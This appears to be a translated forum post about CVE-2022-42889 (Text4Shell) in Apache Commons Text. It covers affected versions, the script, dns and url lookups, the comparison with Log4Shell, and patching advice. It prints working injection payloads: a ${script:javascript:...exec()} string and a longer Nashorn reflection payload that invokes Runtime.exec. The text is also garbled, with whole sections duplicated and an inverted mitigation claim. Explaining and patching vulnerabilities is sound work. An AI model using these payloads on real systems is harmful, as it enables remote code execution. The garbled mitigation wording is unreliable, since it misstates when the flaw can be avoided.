CVE-2022-42889: What is Apache Commons Text?
Alvaro Munoz identified a security vulnerability in Apache Commons Text on October 17, 2022. This vulnerability could lead to Remote Code Execution, as it affects the string searches performed by StringSubstitutor with default interpolators (when StringSubstitutor.createInterpolator() is used).
You reading the topic = not leaving after reading it.
The CVSS score of CVE-2022-42889 is 9.8 out of 10, affecting Apache Commons Text versions 1.5 to 1.9 and fixed in version 1.10.
Despite the concerning nature of the security vulnerability, there are specific limitations in terms of usability. The following steps must be sequentially available to exploit the attack:
Use of default interpolator methods (createInterpolator(), replace(), replaceIn())
Utilization of external input for these methods that evaluates variables arithmetically, as indicated in the error description
Unregulated provision of this external input
Avoiding the error is possible if external inputs used with the mentioned methods are not properly regulated.
The question is: Are you sure that your dependency tree does not contain these vulnerabilities? Due to this possibility, it is important for the community not to panic but to address this security vulnerability.
Why does Apache Commons Text make itself vulnerable?
Despite the concerning nature of the security vulnerability, there are specific limitations in terms of usability. The following steps must be sequentially available to exploit the attack:
Use of default interpolator methods (createInterpolator(), replace(), replaceIn())
Utilization of external input for these methods that evaluates variables arithmetically, as indicated in the error description
Unregulated provision of this external input
Avoiding the error is possible if external inputs used with the mentioned methods are not properly regulated.
The question is: Are you sure that your dependency tree does not contain these vulnerabilities? Due to this possibility, it is important for the community not to panic but to address this security vulnerability.
Why does Apache Commons Text make itself vulnerable?
Apache Commons Text performs variable interpolation through the StringSubstitutor object as follows:
Kod:
StringSubstitutor interp = StringSubstitutor.createInterpolator();After creating an interpolator instance, it is possible to manipulate the data, allowing dynamic evaluation and expansion of properties.
Kod:
String str = "You have-> ${java:version}";
String rep = interp.replace(str);
Example output: You have-> Java version 19
String str = "You are-> ${env:USER}";
String rep = interp.replace(str);
Example output: You are-> dougThe standard format for interpolation is ${prefix:key}, where "prefix" is used to locate the org.apache.commons.text.lookup.StringLookup instance that performs the interpolation.
In the example above, the replace() method processes the input array, copying characters one by one but excluding those that match the interpolation format, reminiscent of Log4j.
In versions 1.5 to 1.9, the default lookups include:
script: Executes expressions using the JVM script execution engine (e.g., ${script:javascript:3 + 4})
dns: Resolves DNS records (e.g., ${dns:address|apache.org})
url: Loads values from URLs, including those from remote servers (e.g., ${url:UTF-8:Welcome to The Apache Software Foundation!})
Therefore, if untrusted data flows into the StringSubstitutor.replace() or StringSubstitutor.replaceIn() methods, an attacker can arbitrarily execute code using ScriptStringLookup like the following:
In the example above, the replace() method processes the input array, copying characters one by one but excluding those that match the interpolation format, reminiscent of Log4j.
In versions 1.5 to 1.9, the default lookups include:
script: Executes expressions using the JVM script execution engine (e.g., ${script:javascript:3 + 4})
dns: Resolves DNS records (e.g., ${dns:address|apache.org})
url: Loads values from URLs, including those from remote servers (e.g., ${url:UTF-8:Welcome to The Apache Software Foundation!})
Therefore, if untrusted data flows into the StringSubstitutor.replace() or StringSubstitutor.replaceIn() methods, an attacker can arbitrarily execute code using ScriptStringLookup like the following:
Kod:
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
System.out.println(out);How broad is the access?
Most likely, you've heard of CVE-2022-42889 referred to as either "Text4shell" or "Act4shell," much like Log4shell. Log4shell continues to cause significant damage to companies worldwide, rightfully earning its name, but this security vulnerability is fundamentally different.
In Log4Shell, string interpolation was typically possible from log message bodies containing untrusted input. In Apache Commons Text, however, the method with the security vulnerability deliberately performs string interpolation.
Due to this deliberate intention, it's much less likely for applications to inadvertently transmit untrusted input without proper validation.
However, due to the widespread use of Apache Commons Text, it is recommended to patch as soon as possible if feasible.
Apache Commons Text is the number one string utility library for Java and has dependencies for 2,593 libraries, including:
OpenCSV
Apache Solr
Neo4j
Additionally, all versions of the JDK are affected, including JDK 15 and above. Alvaro Munoz created an updated POC using the JEXL engine as an attack vector.
If JEXL is present, the code is successfully executed, allowing attackers to exploit the security vulnerability in any JDK with a relevant engine.
This exploit, not limited to, can lead to:
Data leakage in memory
Triggering connections to external servers and services
Data exfiltration through Remote Code Execution
Most likely, you've heard of CVE-2022-42889 referred to as either "Text4shell" or "Act4shell," much like Log4shell. Log4shell continues to cause significant damage to companies worldwide, rightfully earning its name, but this security vulnerability is fundamentally different.
In Log4Shell, string interpolation was typically possible from log message bodies containing untrusted input. In Apache Commons Text, however, the method with the security vulnerability deliberately performs string interpolation.
Due to this deliberate intention, it's much less likely for applications to inadvertently transmit untrusted input without proper validation.
However, due to the widespread use of Apache Commons Text, it is recommended to patch as soon as possible if feasible.
Apache Commons Text is the number one string utility library for Java and has dependencies for 2,593 libraries, including:
OpenCSV
Apache Solr
Neo4j
Additionally, all versions of the JDK are affected, including JDK 15 and above. Alvaro Munoz created an updated POC using the JEXL engine as an attack vector.
If JEXL is present, the code is successfully executed, allowing attackers to exploit the security vulnerability in any JDK with a relevant engine.
This exploit, not limited to, can lead to:
Data leakage in memory
Triggering connections to external servers and services
Data exfiltration through Remote Code Execution
What is the solution?
If your applications have direct dependencies on Apache Commons Text, it is recommended to upgrade to the patched version (1.10.0), which disables security vulnerabilities by default.
For applications packaged by COTS and other vendors that include security vulnerabilities of Apache Commons Text, we recommend installing the available patches from your vendors.
For JDK versions using the Nashorn engine, the process forking rule is sufficient for the root provided as Javascript code.
If your applications have direct dependencies on Apache Commons Text, it is recommended to upgrade to the patched version (1.10.0), which disables security vulnerabilities by default.
For applications packaged by COTS and other vendors that include security vulnerabilities of Apache Commons Text, we recommend installing the available patches from your vendors.
For JDK versions using the Nashorn engine, the process forking rule is sufficient for the root provided as Javascript code.
Kod:
app("nashorn CVE-2022-42889"):
requires(version: "ARMR/2.2")
process("Deny any process execution"):
execute("*")
protect(message: "", severity: 7)
endprocess
endappPAYLOAD
Kod:
"function getIndexOfMethod(methodArray, methodName){\n" +
" var count = 0;\n" +
" for each (var method in methodArray){\n" +
" if(method.toString() == methodName){\n" +
" return count;\n" +
" }\n" +
" count++;\n" +
" }\n" +
" return null;\n" +
"}\n" +
" \n" +
"// Modify the command\n" +
"var command = \"touch /tmp/nashorn\";\n" +
" \n" +
"// Create an instance of class 'Class'\n" +
"var obj = ''['class'];\n" +
" \n" +
"// Get the list of all the methods\n" +
"var methods = obj.getClass().getMethods();\n" +
" \n" +
"// Find the index of 'forName()' method\n" +
"var forNameString = \"public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException\";\n" +
"var forNameMethodIndex = getIndexOfMethod(methods, forNameString);\n" +
" \n" +
"// Find the index of 'getRuntime()' method\n" +
"var runTimeMethods = methods[forNameMethodIndex].invoke(null, 'java.lang.Runtime').getMethods();\n" +
"var getRuntimeString = \"public static java.lang.Runtime java.lang.Runtime.getRuntime()\";\n" +
"var getRunTimeMethodIndex = getIndexOfMethod(runTimeMethods, getRuntimeString);\n" +
" \n" +
"// Execute the command\n" +
"runTimeMethods[getRunTimeMethodIndex].invoke(null).exec(command);");
